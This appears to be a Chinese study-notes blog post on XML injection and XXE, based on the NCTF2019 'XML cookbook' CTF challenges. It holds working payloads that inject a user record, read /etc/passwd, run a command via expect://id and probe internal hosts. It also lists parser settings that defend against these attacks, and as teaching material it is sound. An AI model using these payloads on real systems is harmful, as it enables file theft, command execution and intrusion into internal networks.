XML注入

XML注入

复现使用的题目为buuoj中的[NCTF2019]Fake XML cookbook
1和[NCTF2019]True XML cookbook
1
参考链接为https://xz.aliyun.com/t/6887#toc-5,写的很全面,写的比我好多了,本篇是用于个人整理知识,同时分享一些心得。

XML介绍

XML和html相对,xml专注于数据格式的传输,而html专注于数据的展示。

基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->

这份xml文件用于记录的元素为bookstore,这个元素有一个子元素,为book,book有几个属性。
xml作为一种标记语言,需要注意的是闭合框。这些框说明了各个元素的逻辑关系。

DTD

文件的规范,约束文件的内容。

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

有点像提前交代了一些信息,同时对文件内容做补充。

DTD可以从外部引用
本地

<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

网络

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

注入

插入用户

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <username>admin</username>
    <password>admin</password>

    </admin>
    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
</manager>

在这个地方,如果username或password字段是可控的,就可以通过闭合尖括号来直接插入用户
假如password字段可控:

<manager>
    <admin id="1">
    <username>admin</username>
    <password>【admin</password>
    </admin>

    <admin id="666">
    <username>hacker</username>
    <password>haha</password>
    </admin>】

    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
</manager>

这里方括号内的是我们注入的部分,可以看到我们直接硬填了一个用户进入数据库。

XML外部实体注入(XXE)

任意文件读取

这里需要用到刚刚所说的外部引用DTD。我们将想要读的文件作为外部DTD读入,然后在回显部位选择DTD元素的地址,即可拿到想要的文件内容。
E.g

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY haha SYSTEM  "file:///etc/passwd">
]>
<user>
  <username>&haha;</username>
  <password>hack</password>
</user>

我们声明了一个实体,名字叫做haha,然后这个实体的内容在这个/etc/passwd里捏哈哈( ̄y▽ ̄)╭ Ohohoho.....
然后这个例子中,如果你登陆失败,他是会回显,【username】登陆失败。所以我们在这个username字段选择这个haha实体的位置,然后就会回显出我们要的内容了。

命令执行

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

使用了expect伪协议,需要php带有相关扩展。

内网攻击

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>

可以从解析xml的主机中转,向内网的机器发请求。
这里可以从主机的这两个文件探测内网信息

/etc/hosts      静态映射
/proc/net/arp   arp表

防御措施

这里也搬一下大哥的,感觉简单实用

  1. 通过开发语言的方法,禁止使用外部实体
    php:
libxml_disable_entity_loader(true);

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤用户提交数据
    关键字,如<!DOCTYPE 和 <!ENTITY

  2. 不允许XML文件含有自行定义的DTD
    即不准中间定义,感觉这个方法是最好的,只允许从特定的文件读取DTD,不允许中间插入定义,一了百了。

上一篇:OSSIM-agent源代码分析(四)


下一篇:新版dubbo-admin安装、搭建(win+linux)